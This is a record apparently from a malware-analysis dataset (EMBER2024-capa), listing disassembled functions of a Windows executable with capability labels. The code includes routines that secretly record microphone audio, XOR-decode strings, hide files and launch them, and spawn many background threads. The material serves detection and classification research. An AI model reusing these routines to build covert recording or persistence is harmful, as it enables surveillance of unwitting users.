joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405f40
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x444a84], 0
jne 0x405fec
push ebx
call fcn.004053d0
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x405f6d
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405f64
sub eax, edx
sub eax, 0xfffffefc
push eax
call fcn.0041ff97
lea ecx, [ebp - 4]
add esp, 4
push ecx
push eax
mov dword [0x444a58], eax
mov dword [ebp - 4], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
or ebx, ebx
je 0x405fe4
mov ecx, dword [0x444a58]
push esi
lea esi, [ecx - 1]
push edi
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x405fa1
mov eax, ebx
mov dx, word [0x43c7b0]
mov word [esi], dx
mov esi, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405fb7
lea edi, [ecx - 1]
sub eax, esi
mov cl, byte [edi + 1]
inc edi
or cl, cl
jne 0x405fc3
push ebx
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00420c59
sub esp, 0xfffffffc
pop edi
pop esi
mov byte [0x444a84], 1
pop ebx
mov eax, dword [0x444a58]
mov esp, ebp
pop ebp
ret

Function at 0x4060f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, 0x43d734
mov dword [ebp - 8], 0
mov eax, dword [ebx]
inc eax
push eax
call fcn.0041ff97
mov edi, eax
mov dword [ebp - 4], edi
xor eax, eax
add esp, 4
cmp dword [ebx], eax
jbe 0x406132
lea esp, [esp]
mov ecx, dword [ebx + 4]
mov dl, byte [ecx + eax]
xor dl, byte [ebx - 4]
inc eax
mov byte [eax + edi - 1], dl
cmp eax, dword [ebx]
jb 0x406120
mov byte [eax + edi], 0
mov ecx, dword [0x444b40]
mov edx, dword [0x444b3c]
lea eax, [ebp - 4]
cmp eax, ecx
jae 0x4061b9
cmp edx, eax
ja 0x4061b9
mov esi, dword [0x444b44]
mov edi, eax
sub edi, edx
sar edi, 2
cmp ecx, esi
jne 0x4061ae
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40623c
sub esi, edx
inc eax
sar esi, 2
cmp eax, esi
jbe 0x4061ae
mov ecx, esi
mov edx, ecx
mov esi, 0x3fffffff
shr edx, 1
sub esi, edx
cmp esi, ecx
jae 0x40618f
xor ecx, ecx
jmp 0x406191
add ecx, edx
cmp ecx, eax
jae 0x406197
mov ecx, eax
push ecx
mov esi, 0x444b3c
call fcn.00406280
mov ecx, dword [0x444b40]
mov edx, dword [0x444b3c]
test ecx, ecx
je 0x406215
mov edx, dword [edx + edi*4]
mov dword [ecx], edx
jmp 0x40620f
mov esi, dword [0x444b44]
cmp ecx, esi
jne 0x406209
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40623c
sub esi, edx
mov edx, esi
inc eax
sar edx, 2
cmp eax, edx
jbe 0x406209
mov esi, 0x3fffffff
mov ecx, edx
shr edx, 1
sub esi, edx
cmp esi, ecx
jae 0x4061f0
xor ecx, ecx
jmp 0x4061f2
add ecx, edx
cmp ecx, eax
jae 0x4061f8
mov ecx, eax
push ecx
mov esi, 0x444b3c
call fcn.00406280
mov ecx, dword [0x444b40]
test ecx, ecx
je 0x406215
mov dword [ecx], edi
mov ecx, dword [0x444b40]
mov eax, dword [ebp - 8]
sub eax, 0xfffffff4
add ecx, 4
sub ebx, 0xfffffff4
mov dword [0x444b40], ecx
mov dword [ebp - 8], eax
cmp eax, 0x1e0
jb 0x406105
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call fcn.00420641
int3
Function at 0x4076e0
Capabilities:
Check if file exists

Disassembly:
push edi
mov edi, esp
add esp, 0xffffffb8
push ebx
push ebp
push str.PROGRAMFILES
call fcn.00420d1e
mov ebp, eax
push str.SYSTEMDRIVE
mov dword [edi - 4], ebp
call fcn.00420d1e
mov ebx, eax
mov eax, ebp
add esp, 8
mov dword [edi - 8], ebx
lea edx, [eax + 1]
mov ebx, ebx
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x407710
sub eax, edx
mov edx, eax
mov eax, ebx
lea ebp, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407720
sub eax, ebp
lea eax, [eax + edx + 0x80]
push esi
push eax
call fcn.0041ff97
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
sub esp, 0xfffffffc
mov ebp, eax
mov dword [edi - 0x48], 0x43dac8
mov dword [edi - 0x44], 0x43dad0
mov dword [edi - 0x40], 0x43dad8
mov dword [edi - 0x3c], 0x43dae4
mov dword [edi - 0x38], 0x43daec
mov dword [edi - 0x34], 0x43db04
mov dword [edi - 0x30], 0x43db20
mov dword [edi - 0x2c], 0x43db28
mov dword [edi - 0x28], 0x43db38
mov dword [edi - 0x24], 0x43db4c
mov dword [edi - 0x20], 0x43db60
mov dword [edi - 0x1c], 0x43db84
mov dword [edi - 0x18], 0x43db9c
xor ebx, ebx
nop
mov edx, dword [edi - 4]
mov ecx, dword [edi + ebx*4 - 0x48]
push ecx
push edx
push 0x43c26c
push ebp
call fcn.00420bd5
add esp, 0x10
push ebp
call esi
or eax, eax
jne 0x4077c6
inc ebx
cmp ebx, 0xd
jl 0x4077a0
jmp 0x4077cd
mov byte [0x444a86], 1
mov dword [edi - 0x14], str.VSAMAS
mov dword [edi - 0x10], 0x43dbb0
mov dword [edi - 0xc], 0x43dbbc
xor ebx, ebx
mov ecx, dword [edi - 8]
mov eax, dword [edi + ebx*4 - 0x14]
push eax
push ecx
push 0x43c26c
push ebp
call fcn.00420bd5
add esp, 0x10
push ebp
call esi
or eax, eax
jne 0x407818
inc ebx
cmp ebx, 3
jl 0x4077e4
pop esi
push ebp
call fcn.00420c59
sub esp, 0xfffffffc
pop ebp
pop ebx
mov esp, edi
pop edi
ret
push ebp
call fcn.00420c59
sub esp, 0xfffffffc
push 0
call fcn.00423277
int3
Function at 0x408550
Capabilities:
Check if file exists

Disassembly:
push edi
push esi
push str.APPDATA
call fcn.00420d1e
sub esp, 0xfffffffc
mov edi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408564
sub eax, edx
mov esi, eax
cmp byte [0x444a85], cl
jne 0x408583
call fcn.004060f0
mov byte [0x444a85], 1
mov eax, dword [0x444b3c]
mov eax, dword [eax + 0x90]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408591
sub eax, edx
lea ecx, [eax + esi + 0x10]
push ecx
call fcn.0041ff97
sub esp, 0xfffffffc
cmp byte [0x444a85], 0
mov esi, eax
jne 0x4085be
call fcn.004060f0
mov byte [0x444a85], 1
mov edx, dword [0x444b3c]
mov eax, dword [edx + 0x90]
push eax
push edi
push 0x43c26c
push esi
call fcn.00420bd5
sub esp, 0xfffffff0
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
setne al
pop esi
pop edi
ret

Function at 0x4085f0
Capabilities:
Check if file exists
Set file attributes

Disassembly:
push edi
mov edi, esp
and esp, 0xfffffff8
add esp, 0xfffffec4
mov eax, dword [0x441480]
xor eax, esp
mov dword [esp + 0x138], eax
push ebp
push ebx
push esi
call fcn.00401330
mov ebx, eax
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40863a
push ebx
call fcn.004232df
sub esp, 0xfffffffc
push ebx
call fcn.00401fe0
sub esp, 0xfffffffc
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, ebx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x408640
sub eax, edx
add eax, 8
push eax
call fcn.0041ff97
mov ebp, eax
add esp, 4
push ebx
push str._s
push ebp
mov dword [esp + 0x20], ebp
call fcn.00420bd5
sub esp, 0xfffffff4
lea eax, [esp + 0x18]
push eax
push ebp
call fcn.00422c32
sub esp, 0xfffffff8
mov dword [esp + 0x10], eax
or eax, eax
je 0x408755
cmp eax, 0xffffffff
je 0x408755
mov ebp, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408698
lea ebp, [ebp]
sub eax, edx
mov edx, eax
lea eax, [esp + 0x3c]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086b0
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ff97
sub esp, 0xfffffffc
lea edx, [esp + 0x3c]
mov esi, eax
push edx
push ebx
push 0x43c26c
push esi
call fcn.00420bd5
lea eax, [esp + 0x4c]
push str..dll
push eax
call fcn.00422b30
add esp, 0x18
or eax, eax
je 0x4086f8
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x408721
lea ecx, [esp + 0x3c]
push str..exe
push ecx
call fcn.00422b30
add esp, 8
or eax, eax
je 0x408721
push 5
push 0
push 0x43c488
push esi
push str.open
push 0
call ebp
push esi
call fcn.00420c59
mov eax, dword [esp + 0x14]
sub esp, 0xfffffffc
lea edx, [esp + 0x18]
push edx
push eax
call fcn.00422d59
add esp, 8
or eax, eax
je 0x408693
mov ecx, dword [esp + 0x10]
push ecx
call fcn.00422e87
mov ebp, dword [esp + 0x18]
add esp, 4
push ebp
call fcn.00420c59
add esp, 4
push ebx
call fcn.00420c59
mov ecx, dword [esp + 0x148]
sub esp, 0xfffffffc
pop esi
pop ebx
pop ebp
xor ecx, esp
call fcn.00420bc6
mov esp, edi
pop edi
ret
Function at 0x408930
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
sub esp, 0xfffffff8
call fcn.00407350
call fcn.00407830
call fcn.004076e0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x408780
push 0
push 0
call esi
cmp byte [0x444a87], 0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jne 0x40898d
lea ebx, [ebx]
push 0x32
call edi
cmp byte [0x444a87], 0
je 0x408980
call fcn.00407dc0
push 0
push 0
push 0
push 0x408340
push 0
push 0
call esi
call fcn.00408550
test al, al
je 0x4089b9
lea esp, [esp]
push 0x493e0
call edi
jmp 0x4089b0
call fcn.00406360
push 0
push 0
push 0
push 0x406940
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406500
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4065c0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406bf0
push 0
push 0
call esi
call fcn.004085f0
push 0
push 0
push 0
push 0x408ac0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x408db0
push 0
push 0
call esi
mov eax, dword [ebp + 8]
push 0
push 0
push eax
push 0x409c30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409c90
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409ed0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40a180
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40a8b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40b2f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40c340
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40cd20
push 0
push 0
call esi
push 0x493e0
call edi
jmp 0x408ab3

Function at 0x409e40
Capabilities:
Capture microphone audio

Disassembly:
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409e45
push edi
sub eax, edx
sub eax, 0xffffffe0
push esi
push eax
call fcn.0041ff97
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
add esp, 4
push 0
push 0
push 0
push str.open_new_type_waveaudio_alias_mic_buffer_6
mov edi, eax
call esi
push 0
push 0
push 0
push str.record_mic
call esi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push str.stop_mic
call esi
push ebx
push str.save_mic__s
push edi
call fcn.00420bd5
add esp, 0xc
push 0
push 0
push 0
push edi
call esi
push 0
push 0
push 0
push str.close_mic
call esi
push edi
call fcn.00420c59
sub esp, 0xfffffffc
pop esi
pop edi
ret
Function at 0x40a740
Capabilities:
Check if file exists

Disassembly:
push ebx
mov ebx, esp
sub esp, 0xc
push esi
push ebp
push edi
mov edi, dword [ebx + 8]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a8a8
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x40a760
sub eax, edx
push eax
call fcn.0041ff97
mov ebp, eax
mov eax, edi
sub esp, 0xfffffffc
mov dword [ebx - 4], ebp
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40a780
sub eax, ecx
push eax
call fcn.0041ff97
push eax
push ebp
push 0
push 0
push edi
mov dword [ebx - 8], eax
call fcn.00423615
sub esp, 0xffffffe8
call fcn.004015f0
cmp byte [0x444a85], 0
mov dword [ebx - 0xc], eax
jne 0x40a7be
call fcn.004060f0
mov byte [0x444a85], 1
mov eax, dword [0x444b3c]
mov eax, dword [eax + 0x94]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a7d0
sub eax, edx
mov ebp, eax
call fcn.00405f40
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a7e3
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x40a7f3
sub eax, esi
add eax, edx
lea ecx, [eax + ebp + 0x80]
push ecx
call fcn.0041ff97
sub esp, 0xfffffffc
cmp byte [0x444a85], 0
mov ebp, eax
jne 0x40a825
call fcn.004060f0
mov byte [0x444a85], 1
mov eax, dword [ebx - 8]
mov ecx, dword [ebx - 4]
mov edx, dword [0x444b3c]
mov esi, dword [edx + 0x94]
push eax
push ecx
call fcn.00405f40
push eax
push esi
push str._s_comp_sext_s._s
push ebp
call fcn.00420bd5
mov esi, dword [ebx - 0xc]
push ebp
mov edx, edi
mov ecx, esi
call fcn.00404910
add esp, 0x1c
test eax, eax
jne 0x40a887
nop
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
or eax, eax
je 0x40a887
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebp
mov edx, edi
mov ecx, esi
call fcn.00404910
add esp, 4
test eax, eax
je 0x40a860
mov edx, dword [ebx - 4]
push edx
call fcn.00420c59
mov eax, dword [ebx - 8]
push eax
call fcn.00420c59
push esi
call fcn.00420c59
push ebp
call fcn.00420c59
sub esp, 0xfffffff0
pop edi
pop ebp
pop esi
mov esp, ebx
pop ebx
ret
Function at 0x420bc6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441480]
jne 0x420bd0
repz ret
jmp 0x425d71
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x443e28], eax
mov dword [0x443e24], ecx
mov dword [0x443e20], edx
mov dword [0x443e1c], ebx
mov dword [0x443e18], esi
mov dword [0x443e14], edi
mov word [0x443e40], ss
mov word [0x443e34], cs
mov word [0x443e10], ds
mov word [0x443e0c], es
mov word [0x443e08], fs
mov word [0x443e04], gs
pushfd
pop dword [0x443e38]
mov eax, dword [ebp]
mov dword [0x443e2c], eax
mov eax, dword [ebp + 4]
mov dword [0x443e30], eax
lea eax, [ebp + 8]
mov dword [0x443e3c], eax
mov ebx, dword [ebp - 0x320]
mov dword [0x443d78], 0x10001
mov eax, dword [0x443e30]
mov dword [0x443d2c], eax
mov dword [0x443d20], 0xc0000409
mov dword [0x443d24], 1
mov eax, dword [0x441480]
mov dword [ebp - 0x328], eax
mov eax, dword [0x441484]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x443d70], eax
push 1
call fcn.00431d9c
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x439f00
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x443d70], 0
jne 0x425e63
push 1
call fcn.00431d9c
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x421e80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push esi
mov edi, edi
mov esi, dword [ebp + 0xc]
push ebx
push edi
mov edi, dword [ebp + 0x10]
or edi, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], esi
je 0x421eb8
cmp dword [ebp + 0x14], 0
je 0x421eb8
test ecx, ecx
jne 0x421ebf
call fcn.00426e0a
mov dword [eax], 0x16
call fcn.00426db8
xor eax, eax
pop edi
pop ebx
pop esi
leave
ret
mov ebx, dword [ebp + 0x18]
test ebx, ebx
je 0x421ed2
or eax, 0xffffffff
xor edx, edx
div edi
cmp dword [ebp + 0x14], eax
jbe 0x421ef3
cmp esi, 0xffffffff
je 0x421ee3
push esi
push 0
push ecx
call fcn.00429890
sub esp, 0xfffffff4
test ebx, ebx
je 0x421ea8
or eax, 0xffffffff
xor edx, edx
div edi
cmp dword [ebp + 0x14], eax
ja 0x421ea8
imul edi, dword [ebp + 0x14]
mov esi, edi
test dword [ebx + 0xc], 0x10c
mov dword [ebp - 0x10], edi
je 0x421f0d
mov eax, dword [ebx + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x421f14
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x421ff6
test dword [ebx + 0xc], 0x10c
je 0x421f69
mov eax, dword [ebx + 4]
test eax, eax
je 0x421f69
js 0x422024
cmp esi, eax
mov edi, esi
jb 0x421f3a
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x421ffe
push edi
push dword [ebx]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004220f2
sub dword [ebx + 4], edi
add dword [ebx], edi
add dword [ebp - 8], edi
sub esi, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x421fee
cmp esi, dword [ebp - 0xc]
jb 0x421fca
cmp dword [ebp - 0xc], 0
je 0x421f93
xor edx, edx
mov ecx, closesocket
cmp esi, ecx
jbe 0x421f88
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x421f8f
mov eax, esi
div dword [ebp - 0xc]
mov eax, esi
sub eax, edx
jmp 0x421f9e
mov eax, closesocket
cmp esi, eax
ja 0x421f9e
mov eax, esi
cmp eax, dword [ebp - 4]
ja 0x421ffe
push eax
push dword [ebp - 8]
push ebx
call fcn.00427b5d
pop ecx
push eax
call fcn.0042979a
sub esp, 0xfffffff4
test eax, eax
je 0x422036
cmp eax, 0xffffffff
je 0x422024
add dword [ebp - 8], eax
sub esi, eax
sub dword [ebp - 4], eax
jmp 0x421fee
push ebx
call fcn.00428b69
cmp eax, 0xffffffff
pop ecx
je 0x422028
cmp dword [ebp - 4], 0
je 0x421ffe
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
dec esi
mov byte [ecx], al
mov eax, dword [ebx + 0x18]
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test esi, esi
jne 0x421f1c
mov eax, dword [ebp + 0x14]
jmp 0x421eba
cmp dword [ebp + 0xc], 0xffffffff
je 0x422014
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.00429890
sub esp, 0xfffffff4
call fcn.00426e0a
mov dword [eax], 0x22
jmp 0x421eb3
or dword [ebx + 0xc], 0x20
mov eax, edi
sub eax, esi
xor edx, edx
div dword [ebp + 0x10]
jmp 0x421eba
or dword [ebx + 0xc], 0x10
jmp 0x422028
Function at 0x425d71
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441480]
jne 0x420bd0
repz ret
jmp 0x425d71
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x443e28], eax
mov dword [0x443e24], ecx
mov dword [0x443e20], edx
mov dword [0x443e1c], ebx
mov dword [0x443e18], esi
mov dword [0x443e14], edi
mov word [0x443e40], ss
mov word [0x443e34], cs
mov word [0x443e10], ds
mov word [0x443e0c], es
mov word [0x443e08], fs
mov word [0x443e04], gs
pushfd
pop dword [0x443e38]
mov eax, dword [ebp]
mov dword [0x443e2c], eax
mov eax, dword [ebp + 4]
mov dword [0x443e30], eax
lea eax, [ebp + 8]
mov dword [0x443e3c], eax
mov ebx, dword [ebp - 0x320]
mov dword [0x443d78], 0x10001
mov eax, dword [0x443e30]
mov dword [0x443d2c], eax
mov dword [0x443d20], 0xc0000409
mov dword [0x443d24], 1
mov eax, dword [0x441480]
mov dword [ebp - 0x328], eax
mov eax, dword [0x441484]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x443d70], eax
push 1
call fcn.00431d9c
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x439f00
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x443d70], 0
jne 0x425e63
push 1
call fcn.00431d9c
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret

Function at 0x426d66
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00426c3d
sub esp, 0xfffffff4
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret
Function at 0x428b69
Capabilities:
Read file on windows

Disassembly:
mov esi, esi
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x428b8b
call fcn.00426e0a
mov dword [eax], 0x16
call fcn.00426db8
jmp 0x428c85
mov eax, dword [edi + 0xc]
test al, 0x83
je 0x428c85
test al, 0x40
jne 0x428c85
test al, 2
je 0x428bad
or eax, 0x20
mov dword [edi + 0xc], eax
jmp 0x428c85
or eax, 1
test eax, 0x10c
mov dword [edi + 0xc], eax
jne 0x428bc3
push edi
call fcn.00427d50
pop ecx
jmp 0x428bc8
mov eax, dword [edi + 8]
mov dword [edi], eax
push dword [edi + 0x18]
push dword [edi + 8]
push edi
call fcn.00427b5d
pop ecx
push eax
call fcn.0042979a
mov dword [edi + 4], eax
sub esp, 0xfffffff4
test eax, eax
je 0x428c74
cmp eax, 0xffffffff
je 0x428c74
test byte [edi + 0xc], 0x82
jne 0x428c49
push edi
call fcn.00427b5d
pop ecx
cmp eax, 0xffffffff
je 0x428c34
push edi
call fcn.00427b5d
cmp eax, 0xfffffffe
pop ecx
je 0x428c34
push esi
push edi
call fcn.00427b5d
sar eax, 5
push edi
lea esi, [eax*4 + 0x444b80]
call fcn.00427b5d
and eax, 0x1f
pop edx
shl eax, 6
add eax, dword [esi]
pop ebp
pop esi
jmp 0x428c39
mov eax, 0x441730
mov al, byte [eax + 4]
and al, 0x82
cmp al, 0x82
jne 0x428c49
or dword [edi + 0xc], 0x2000
cmp dword [edi + 0x18], 0x200
jne 0x428c67
mov eax, dword [edi + 0xc]
test al, 8
je 0x428c67
test eax, 0x400
jne 0x428c67
mov dword [edi + 0x18], 0x1000
mov edx, dword [edi]
dec dword [edi + 4]
movzx eax, byte [edx]
inc edx
mov dword [edi], edx
jmp 0x428c88
neg eax
sbb eax, eax
and eax, 0x10
add eax, 0x10
or dword [edi + 0xc], eax
and dword [edi + 4], 0
or eax, 0xffffffff
pop edi
pop ebp
ret
Function at 0x429d15
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
add esp, 0xfffffe04
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.00429cef
mov edi, eax
xor ebx, ebx
pop ecx
mov dword [ebp - 0x1fc], edi
cmp edi, ebx
je 0x429eb5
push 3
call fcn.00433d2d
cmp eax, 1
pop ecx
je 0x429e61
push 3
call fcn.00433d2d
pop ecx
or eax, eax
jne 0x429d73
cmp dword [0x441460], 1
je 0x429e61
cmp esi, 0xfc
je 0x429eb5
push str.Runtime_Error__n_nProgram:
push 0x314
mov edi, 0x4441b8
push edi
call fcn.00433cca
add esp, 0xc
test eax, eax
jne 0x429e57
push 0x104
mov esi, 0x4441ea
push esi
push ebx
mov word [0x4443f2], ax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, 0x2fb
or eax, eax
jne 0x429ddf
push str._program_name_unknown_
push ebx
push esi
call fcn.00433cca
sub esp, 0xfffffff4
or eax, eax
je 0x429ddf
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00426d66
push esi
call fcn.00433caf
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x429e16
push esi
call fcn.00433caf
lea eax, [eax*2 + 0x444174]
mov ecx, eax
sub ecx, esi
push 3
sar ecx, 1
push 0x43a96c
sub ebx, ecx
push ebx
push eax
call fcn.00433be2
add esp, 0x14
or eax, eax
jne 0x429dd3
push 0x43a964
mov esi, 0x314
push esi
push edi
call fcn.00433b6d
add esp, 0xc
test eax, eax
jne 0x429dd3
push dword [ebp - 0x1fc]
push esi
push edi
call fcn.00433b6d
sub esp, 0xfffffff4
or eax, eax
jne 0x429dd3
push 0x12010
push 0x43a918
push edi
call fcn.00433a01
sub esp, 0xfffffff4
jmp 0x429eb5
push ebx
push ebx
push ebx
push ebx
push ebx
jmp 0x429dda
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
cmp esi, ebx
je 0x429eb5
cmp esi, 0xffffffff
je 0x429eb5
xor eax, eax
mov cl, byte [edi + eax*2]
mov byte [ebp + eax - 0x1f8], cl
cmp word [edi + eax*2], bx
je 0x429e8e
inc eax
cmp eax, 0x1f4
jb 0x429e76
push ebx
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x1f8]
push eax
mov byte [ebp - 5], bl
call fcn.00423d80
pop ecx
push eax
lea eax, [ebp - 0x1f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00420bc6
leave
ret